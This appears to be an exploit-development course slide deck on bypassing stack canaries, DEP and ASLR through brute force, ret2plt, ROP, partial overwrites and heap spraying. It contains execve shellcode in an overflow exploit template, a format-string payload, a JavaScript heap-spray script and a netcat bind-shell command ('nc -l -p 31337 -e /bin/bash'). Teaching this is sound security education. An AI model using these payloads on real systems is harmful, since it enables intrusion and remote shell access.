Defeat Exploit Mitigations

Contemporary exploiting

Content



Intel Architecture
Memory Layout
C Arrays
Assembler
Shellcode
Function Calls
Debugging
Buffer Overflow
BoF Exploit
Remote Exploit
Exploit Mitigations
Defeat Exploit Mitigations

Recap: Buffer Overflow Exploit



Recap: Buffer Overflow Exploit

```
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

buf_size = 64
offset = ??

ret_addr = "\x??\x??\x??\x??"

# fill up to 64 bytes
exploit = "\x90" * (buf_size - len(shellcode))
exploit += shellcode

# garbage between buffer and RET
exploit += "A" * (offset - len(exploit))

# add ret
exploit += ret_addr

# print to stdout
sys.stdout.write(exploit)
```


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

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Heap Overflows
Brute Force
Partial RIP Overwrite
NOP Slide
Info Disclosure
Ret 2 PLT
ROP

Anti Exploit Mitigations

Recap: Buffer Overflow Exploit



Recap: Buffer Overflow Exploit



Recap: Buffer Overflow Exploit



Recap: Buffer Overflow Exploit

```python
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

buf_size = 64
offset = ??

ret_addr = "\x??\x??\x??\x??"

# fill up to 64 bytes
exploit = "\x90" * (buf_size - len(shellcode))
exploit += shellcode

# garbage between buffer and RET
exploit += "A" * (offset - len(exploit))

# add ret
exploit += ret_addr

# print to stdout
sys.stdout.write(exploit)
```

DEP

ASLR

MitiGator


The MitiGator raises the bar...
...until it sees no more exploits
Credit @halvarflake
NETSQUARE
BLACKHAT ASIA 2017

Defeat Exploit Mitigations

Stack Canary


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Stack Canary Recap

Stack Canary is a secret in front of SBP/SIP

Gets checked immediately before return() / ret

Prohibits stack based buffer overflows into SIP

Stack Canary: Limitations

Stack canary protects only **stack overflows into SIP**

e.g:

```
strcpy(a, b);
memcpy(a, b, len);
for(int n=0; n<len; n++) a[n] = b[n]
```



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Defeating Stack Canary: Arbitrary Write

Arbitrary write:

```
char array[16];
array[userIndex] = userData;
```

- No overflow
- But: write “behind” stack canary

Defeating Stack Canary: Arbitrary Write

Overwrite SIP without touching the canary:



Defeating Stack Canary: Arbitrary Write

Example: Formatstring attacks

```
userData = “AAAA%204x%n”;
printf(userData);
```

Skip 204 bytes

Defeating Stack Canary: Arbitrary Write

- Stack Canary will make exploiting stack based buffer overflows impossible
  - If brute force is not possible
  - If there is no information leak (see later)

- But: not all bugs are “stack based buffer overflows”


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Defeating Stack Canary: local vars

Stack canary protects metadata of the stack (SBP, SIP, …)

Not protected: **Local variables (challenge 09)**

Defeating Stack Canary: local vars

Overwrite local vars:

```
{
 void (*ptr)(char *) = &handleData;
 char buf[16];

 strcpy(buf, input);    // overflow
 (*ptr)(buf);           // exec ptr
}
```

Defeating Stack Canary: local vars

Overwrite local vars:

```
{
 void (*ptr)(char *) = &handleData;
 char buf[16];

 strcpy(buf, input);    // overflow
 (*ptr)(buf);           // exec ptr
}
```

Here: Possible to overwrite function pointers

Defeating Stack Canary: Arb. Write

Overwrite a local function pointer:

`char buffer[64]`	`*funcPtr`	`canary`	`SIP`

`CODE CODE CODE`	`&buffer`	`canary`	`SIP`


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Defeating Stack Canary: heap

Heap is not protected

- Heap bug classes:
  - Inter-chunck heap overflow/corruption
  - Use after free
  - Intra-chunk heap overflow / relative write
  - Type confusion
- We will have a detailed look at this at a later time


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Defeating Stack Canary: Brute force

A network server fork()’s on connect()

- If child crashes, next connection gets an “identical” child

But stack canary stay’s the same

We can brute force it!

  - 32 bit value, so 2^32 =~ 4 billion possibilities?
  - Or…

Usual buffer overflows

Copying of buffers are byte-based

```
memcpy(a, b, len_in_bytes);


for(int n=0; n<len_in_bytes; n++) {
    a[n] = b[n]
}
```

Defeating Stack Canary: Brute force

char **buffer**[64]	canary	SIP

char **buffer**[64]	A	B	C	D	SIP
char **buffer**[64]	A	B	C	D	SIP
char **buffer**[64]	A	B	C	D	SIP
char **buffer**[64]	A	B	C	D	SIP

Defeating Stack Canary: Brute force

Example stack canary: **0xc3b26342**

AAAAAAA	0x41	0x63	0xB2	0xC3	A -> Crash

Defeating Stack Canary: Brute force

Example stack canary: **0xc3b26342**

AAAAAAA	0x41	0x63	0xB2	0xC3	A -> Crash
AAAAAAA	0x42	0x63	0xB2	0xC3	B -> No crash

Defeating Stack Canary: Brute force

Example stack canary: **0xc3b26342**

AAAAAAA	0x41	0x63	0xB2	0xC3	A -> Crash
AAAAAAA	0x42	0x63	0xB2	0xC3	B -> No crash
AAAAAAA	0x42	0x61	0xB2	0xC3	Ba -> Crash

Defeating Stack Canary: Brute force

Example stack canary: **0xc3b26342**

AAAAAAA	0x41	0x63	0xB2	0xC3	A -> Crash
AAAAAAA	0x42	0x63	0xB2	0xC3	B -> No crash
AAAAAAA	0x42	0x61	0xB2	0xC3	Ba -> Crash
AAAAAAA	0x42	0x62	0xB2	0xC3	Bb -> Crash

Defeating Stack Canary: Brute force

Example stack canary: **0xc3b26342**

AAAAAAA	0x41	0x63	0xB2	0xC3	A -> Crash
AAAAAAA	0x42	0x63	0xB2	0xC3	B -> No crash
AAAAAAA	0x42	0x61	0xB2	0xC3	Ba -> Crash
AAAAAAA	0x42	0x62	0xB2	0xC3	Bb -> Crash
AAAAAAA	0x42	0x63	0xB2	0xC3	Bc -> No Crash

Defeating Stack Canary: Brute force

So: not 2^32 = 4 billion possibilities

But:

```
4 * 2^8 =
4 * 256 =
1024 possibilities
```

512 tries (crashes) on average

Defeating Stack Canary: Brute force

I forgot… SFP

Argument for <foobar>

Saved IP (&main)

Saved Frame Pointer

Local Variables <func>



Defeating Stack Canary: Brute force



Defeating Stack Canary: Brute force

Need to break SBP first…

Defeat ASLR for free, because brute force SBP ☺

- SBP points into stack segment
- ASLR is minimum on per-page level, lower 4096 bytes stay the same

Defeating Stack Canary: Information Disclosure

If we can **leak the canary** through some means,
We can use it at a later exploit step

Recap: Defeating Stack Canary

Conclusion: Stack Canary:

Can be just circumvented

- With the right vulnerability

Or brute-forced

- If the vulnerable program is a network server

Or leaked

- Via information disclosure vulnerability

Recap: Defeating Stack Canary

Defeat Exploit Mitigations

Defeating: DEP



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DEP - Recap

DEP makes Stack and Heap non-executable

- Shellcode cannot be executed anymore

Defeating DEP - Intro




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Defeating DEP - Intro

DEP does not allow execution of uploaded code

But what about existing code?

- Existing functions (ret2code) (challenge 10)
- Existing LIBC functions (ret2plt)
- Existing Code (ROP)

Return to LIBC

Defeating DEP – Shared Libraries Intro

Introducing shared libraries!

- Like windows DLL's
- Located in /lib and other directories
- Often end in ".so"

- Provide shared functionality
- E.g. libc, openssl, and much more

- Use "ldd" to check shared libraries



Defeating DEP – Shared Libraries Intro

```
$ ldd /bin/bash
        linux-gate.so.1 =>  (0xb7724000)
        libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xb76f9000)
        libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb76f4000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754a000)
        /lib/ld-linux.so.2 (0xb7725000)
```

Defeating DEP – Shared Libraries Intro

```
$ ldd `which nmap`
        linux-gate.so.1 =>  (0xb777f000)
        libpcap.so.0.8 => /usr/lib/i386-linux-gnu/libpcap.so.0.8
        libssl.so.1.0.0 => /lib/i386-linux-gnu/libssl.so.1.0.0
        libcrypto.so.1.0.0 => /lib/i386-linux-gnu/libcrypto.so.1.0.0
        libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7532000)
        libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6
        libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0xb7421000)
        libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7403000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7259000)
        libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xb7243000)
        /lib/ld-linux.so.2 (0xb7780000)
```

Defeating DEP – Shared Libraries Intro

Shared Library Properties

- Shared libraries reference a certain version of a library

- Shared libraries can:
  - Be updated (grow in size)
  - Load in arbitrary order

- Therefore: Unknown exact location of shared library in memory space!

Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro

Call's in ASM are ALWAYS to absolute addresses

```
e8 d5 38 fd ff        call   805e4c0 <strlen@plt>
```

How does it work with dynamic addresses for shared libraries?

Solution:

- A "helper" at a static location
- In Linux: PLT+GOT (they work together in tandem)

Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro

How does it work?

- “call system()” is actually “call system@plt”
- The PLT resolves system@libc at runtime
- The PLT stores system@libc in system@got

Defeating DEP – Shared Libraries Intro



Defeating DEP – Shared Libraries Intro

.code:

call <system@plt>

.plt:

call <system@got>

.got:

call <system@libc>

Write system@libc

RTLD:

Resolve address of system@libc

Defeating DEP – Shared Libraries Intro

.code:

call <system@plt>

.plt:

call <system@got>

.got:

call <system@libc>

system@libc:

[Code]

Defeating DEP – Shared Libraries Intro

Before executing system():

```
gdb-peda$ print &system
$1 = 0x8048300 <system@plt>
```

After executing system():

```
gdb-peda$ print &system
$2 = 0xb7e67060 <system>   @libc
```

Defeating DEP – Shared Libraries Intro

Before executing system():

```
gdb-peda$ print &system
$1 = 0x8048300 <system@plt>
```

After executing system():

```
gdb-peda$ print &system
$2 = 0xb7e67060 <system>   @libc

Program Headers:
  Type           Offset   VirtAddr   Flg Align
  PHDR           0x000034 0x08048034 R E 0x4
  INTERP         0x000154 0x08048154 R   0x1
  LOAD           0x000000 0x08048000 R E 0x1000
  LOAD           0x000f14 0x08049f14 RW  0x1000

02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr
.gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
.eh_frame_hdr .eh_frame
```

Defeating DEP – Shared Libraries Intro

Before executing system():

```
gdb-peda$ print &system
$1 = 0x8048300 <system@plt>
```

After executing system():

```
gdb-peda$ print &system
$2 = 0xb7e67060 <system>    @libc
```

```
$ cat /proc/31261/maps
…
b7e27000-b7e28000 rw-p 00000000 00:00 0
b7e28000-b7fcb000 r-xp 00000000 08:02 672446     /lib/i386-linux-gnu/libc-2.15.so
b7fcb000-b7fcd000 r--p 001a3000 08:02 672446     /lib/i386-linux-gnu/libc-2.15.so
…
```

Defeating DEP – Shared Libraries Intro

Conclusion:

- Shared library interface is stored at a static memory location
- Jump to that

Exploiting: DEP – Ret2plt

How 2 ret2plt:

EIP = &system@plt

arg = &meterpreter_bash_shellcode

```
system("nc -l -p 31337 -e /bin/bash")
```

Note:

- In x64, arguments for functions are in registers
- In x32, arguments for functions are on the stack

Challenge 15

Challenge15 is a ret2plt exploit

RIP: &system@plt

We execute:

system(char *command)

How does it know ?

*command

Exploiting: DEP – Ret2plt

- Can invoke any imported function of shared libraries
  - E.g. system() (to execute arbitrary (bash-) code)
  - These are at a known, static location in the PLT
- No need for shellcode on stack or heap
  - We use pre-existing code/functionality

- See challenge18 for details



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ROP

ROP

- Extension of “return to libc”
- “Borrowed Code Junks”
- Code from binary, followed by a RET
- Called “gadgets”
- Return Oriented Programming (ROP)

Defeating DEP - ROP

So, what is ROP?

- Code sequence followed by a “ret”

```
pop r15 ; ret
add byte ptr [rcx], al ; ret
dec ecx ; ret
```

Defeating DEP - ROP



Defeating DEP - ROP

Conclusion:

Code section is not randomized

Just smartly re-use existing code

We’ll have a look at it later

ROP Preview

```
0x200: syscall;
0x201: ret
```

```
0x100: pop eax;
0x101: pop ebx;
0x102: ret
```



Defeat Exploit Mitigations: ASLR


Exploit Mitigations
ASCII Armor
Stack Canary
ASLR
PIE
DEP
Arbitrary Write
Overflow Local Vars
Heap Overflows
Brute Force
Partial RIP Overwrite
NOP Slide
Info Disclosure
Ret 2 PLT
ROP

Defeating ASLR

Recap:

ASLR map’s Stack & Heap at random locations

Defeating ASLR - Intro




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Defeating ASLR – Partial overwrite

Partial function pointer overwrite

- little endianness: 0x11223344



Defeating ASLR – Partial overwrite



ASLR'd by page size which is 4096


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Defeating ASLR – NOP sleds

NOP sleds

- As often used with JavaScript
- Heap spray a few megabytes…
  - gigabytes..

NOP NOP NOP NOP NOP NOP … CODE

Defeating ASLR – NOP sleds

NOP sleds

- As often used with JavaScript
- Heap spray a few megabytes…

NOP	NOP	NOP	NOP	NOP	NOP	…	CODE
NOP	NOP	NOP	NOP	NOP	NOP	…	CODE
NOP	NOP	NOP	NOP	NOP	NOP	…	CODE
NOP	NOP	NOP	NOP	NOP	NOP	…	CODE

Defeating ASLR - ROP



Always jump «here», e.g. 0x10101010, Middle of the possible Heap Area

Defeating ASLR - ROP



Always jump «here», e.g. 0x10101010, Middle of the possible Heap Area

Heap Spray with NOP Sleds

Old, old **string** based NOP sled for (32bit-) browsers in JavaScript:

```
var nop = unescape("%u9090%u9090");

// Create a 1MB string of NOP instructions followed by shellcode:
//
// malloc header   string length   NOP slide   shellcode   NULL terminator
// 32 bytes        4 bytes         x bytes     y bytes     2 bytes

while (nop.length <= 0x100000/2) nop += nop;

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

var x = new Array();

// Fill 200MB of memory with copies of the NOP slide and shellcode
for (var i = 0; i < 200; i++) {
    x[i] = nop + shellcode;
}
```

https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf

Heap Spray with ASM.JS

ASM.JS:

```
VAL = (VAL + 0xA8909090)|0;
VAL = (VAL + 0xA8909090)|0;
```

Firefox ASM.JS JIT generates:

```
00: 05909090A8 ADD EAX, 0xA8909090
05: 05909090A8 ADD EAX, 0xA8909090
```

Jump offset 1:

```
01: 90 NOP
02: 90 NOP
03: 90 NOP
04: A805 TEST AL, 05
06: 90 NOP
07: 90 NOP
08: 90 NOP
```


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Information Disclosure

If attacker can leak memory – it can contain non-user data

- Uninitialized memory
- Structs with pointers
- Over-read (heartbleed)

We have a look at it later.

Recap: Anti ASLR

Anti-ASLR:

- Find static locations (like PLT)
- Mis-use existing pointers
- Spray & Pray
- Information disclosure

Conclusion

Defeat Exploit Mitigations - Conclusion

Three default Exploit Mitigations:

- Stack Canary (crash on overflow)
- ASLR (make memory locations unpredictable)
- DEP (make writeable memory non-executable)

There are several techniques which circumvent these Exploit Mitigations

Advanced Exploitation Techniques

Stack-Protector?

- Find another vuln, arbitrary write (non “overflow”)
- Byte-wise stack-protector brute-force
- Heap vulnerability

No-Exec Stack?

- Return to LIBC / PLT
- ROP

ASLR/PIE?

- Brute Force
- ROP
- Information Disclosure
- Pointer re-use
- Spray & Pray

Advanced Techniques

RET 2 PLT:

- jump to static address which executes system(), with bash-shell shellcode
- Circumvent DEP
- Fix: PIE

ROP:

- Return Oriented Programming
- Take gadgets from binary
- Gadget are little code sequences, followed with a RET
- Fix: PIE
- Super fix: CFI

Advanced Exploits

Information Disclosure

- The death of anti-exploiting techniques
- Get content past a buffer -> get SIP (Saved Instruction Pointer) or stack pointer
- Relocation happens en-block, so just calculate base address and offset for ret2plt or ROP

Partial Overwrite

- Because of Little-Endianness, can overwrite LSB of function pointers to point to other stuff (not affected by ASLR because in same segment)

Heap attacks

- Use after free
- Double Free
- And lots more



https://bsideszh.ch/wp-content/uploads/2017/10/Thomas_Dullien-Keynote.pdf



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
EFFECT OF HARDER RAMP-UP
HARDER RAMPUP, FEWER BENIGN PLAYERS
EASY RAMPUP, MORE BENIGN PLAYERS
0DAY COST